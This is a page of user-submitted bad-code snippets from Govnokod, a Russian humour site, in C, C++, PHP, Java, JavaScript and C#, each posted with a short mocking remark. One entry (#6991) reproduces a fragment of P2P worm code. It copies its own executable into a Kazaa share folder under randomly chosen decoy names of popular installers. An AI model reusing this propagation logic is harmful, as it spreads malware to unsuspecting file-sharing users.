1. C++ / Говнокод #6997

    +147

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    char c;
    cin>>c;
    if (c == 'a') cout<<'a';
    if (c == 'b') cout<<'b';
    if (c == 'c') cout<<'c';
    //....
    if (c == 'z') cout<<'z';

    классика

    skim1776, 19 Июня 2011

    Комментарии (6)
  2. Си / Говнокод #6996

    +138

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    /*****************************************************************************************************************
    *                                                     Третий уровень                                             *
    *****************************************************************************************************************/
    void  WorkAndViewLevel_3(void)
    {
     if ( MenuLevel[1] != 2 ) { MenuLevel[1] = 2 ; }
      
     switch (MenuLevel[1])
      {
       // case 0 : WorkAndViewJournal(); break;
       case 2 : WorkAndViewMonitor(); break;
       //case 3 : WorkAndViewJournal(); break;
      }
    }      
          
    /*****************************************************************************************************************
    *                                                     Второй уровень                                             *
    *****************************************************************************************************************/
    
    void  WorkAndViewLevel_2(void)
    {
     switch (MenuLevel[1])
      {                                                                           
       case 0 : RightParol=0; WorkAndViewBasic(); break;    // Если возвращаемся в основной режим то сбрасываем флаг правильно введенного пароля
       case 1 : Switch_Mem_Bank(0); break;                  // Переходим в МРВ  
       case 2 : ViewUpConstDownBuff("    МОНИТОР:    ",txtMonitor,CountTree_Monitor-1,1,1); 
                break;
       case 3 : WorkAndViewBasic(); break;
      }
    } 
    
    /*****************************************************************************************************************
    *                                                       Root                                                     *
    *****************************************************************************************************************/          
             
    void  WorkAndView(void)
    {
     Position=&MenuLevel[MenuLevel[0]];     // Определяем укактель на позицию дочерней ветви
     if (PeriodFlash>0) {PeriodFlash--;}    // Уменьшаем промежуток времени до начала мерцания надписи 
     switch (MenuLevel[0])
      {
       case 1 : ViewUpConstDownBuff("Выберите режим :",txtRoot,CoutTree_Root-1,0,1);    // Находимся в Root
                break;                          
       case 2 : WorkAndViewLevel_2();   // Находимся в ТЕСТе, МОНИТОРе, НАЛАДКЕ...  
                if (JournalPos) JournalView=JournalPos-1; else JournalView=39;  
                break;          
       case 3 : WorkAndViewLevel_3(); break;                                            // Находимся на самом верхнем уровне
      }
    }

    Описание менюшки из трех уровней. Улыбает case 3 в WorkAndView.

    MereNonsense, 19 Июня 2011

    Комментарии (10)
  3. PHP / Говнокод #6995

    +155

    1. 1
    2. 2
    3. 3
    $pageController = new PageController();
    $photo = $pageController->getPhoto($pageRecord->id);
    $photo =  $photo ;

    А вдруг ПХП с первого раза не понял что в переменной должно быть фото? Повторение мать учения.

    Kos, 19 Июня 2011

    Комментарии (9)
  4. Java / Говнокод #6994

    +77

    1. 1
    2. 2
    3. 3
    4. 4
    Ingeter[] i = new Integer[1];
    for (i = 0; i<n; i++) {
    //что-то происходит
    }

    здесь все по-серьезному

    skim1776, 18 Июня 2011

    Комментарии (14)
  5. PHP / Говнокод #6993

    +176

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    /**
        * получить перечень экзаменов на указанную дату
        * @global GathererDB $db
        * @param string $examdate must be $db->qstr()'ed
        * @return array 
        */
       function examsOnDate($examdate)
       {
         global $db;
         ob_start();
     ?>
    select distinct e.EXAMID from EXAMS e
    inner join STATIONEXAMS se on se.EXAMFK=e.SYS_GUID
    inner join PARTICIPANTSEXAMS pe on pe.EXAMFK=e.SYS_GUID
    where e.EXAMDATE=<?php print $examdate; ?>
    <?php
         $sql = ob_get_clean();
    
         $exams = $db->getcol($sql);
         return $exams;
       }

    Из скрипта для обслуживания сайта ЕГЭ.
    Изумительное применение буфера.

    7ion, 18 Июня 2011

    Комментарии (15)
  6. Java / Говнокод #6992

    +87

    1. 1
    Boolean.valueOf("1".equals(object[1].toString())?"true":"false"))

    madhead, 18 Июня 2011

    Комментарии (13)
  7. Си / Говнокод #6991

    +135

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    randomize(); //Включаем генератор случайных чисел.
    ra = random(11)+1; //Генерим число от 1 до 11 и если выбрали то переходим вниз по коду.
    switch (ra)
    {
    case 1 : strcat(KazaaFull, "\\winamp502_full.exe"); break;
    case 2 : strcat(KazaaFull, "\\spdialer.exe"); break;
    case 3 : strcat(KazaaFull, "\\rammstein.scr"); break;
    case 4 : strcat(KazaaFull, "\\mozilla-1.6-win32-installer.exe"); break;
    case 5 : strcat(KazaaFull, "\\cdex_160_enu.exe"); break;
    //Присоединяем к пути новое имя.
    case 6 : strcat(KazaaFull, "\\kavperspro45rus.exe"); break;
    //Я говорил про запасную переменную.
    case 7 : strcat(KazaaFull, "\\restorator_4.0.exe"); break;
    // Мы юзаем "\\" потому что так нужно.
    case 8 : strcat(KazaaFull, "\\win_rar330.exe"); break;
    case 9 : strcat(KazaaFull, "\\mdialer_4.exe"); break;
    case 10 : strcat(KazaaFull, "\\apache_1.3.22-PL30.9-win32-x86.exe"); break;
    case 11 : strcat(KazaaFull, "\\offline_explorer_3.0_setup.exe"); break;
    }
    CopyFile(myname, KazaaFull, FALSE);
    //Ну и копируем свое тело в папку KazaaFull

    http://www.makak.ru/2007/11/09/wormp2p-svoimi-rukami/

    57fecfc99e2e4e2a, 18 Июня 2011

    Комментарии (19)
  8. C++ / Говнокод #6990

    +171

    1. 1
    const_cast<TRefalAbstract*>(this)=new TRefal();

    Говногость, 18 Июня 2011

    Комментарии (24)
  9. JavaScript / Говнокод #6989

    +162

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    <script type="text/javascript">	
    ............................
    var titlePubOk = "<?php echo 'Показано'; ?>";
    var titlePubNo = "<?php echo 'Скрыто'; ?>";
    ............................
    </script>

    Вот обновляю систему и вдруг обнаружил собственный, самый натуральный говнокод. Это - невероятно!

    increazon, 18 Июня 2011

    Комментарии (32)
  10. C# / Говнокод #6988

    +128

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    public string GetUserCurrentStage(int stage)
     {
                string stageName = "";
                if (stage == 1)
                    stageName += "Initial Certification";
                else if (stage == 2)
                {
                    stageName += "Maintenance *";
                }
                else if (stage == 3)
                    stageName += "Recertification";
                else
                    return string.Empty;
                return stageName;
     }

    Когда платят за строчки кода...

    musuk, 17 Июня 2011

    Комментарии (6)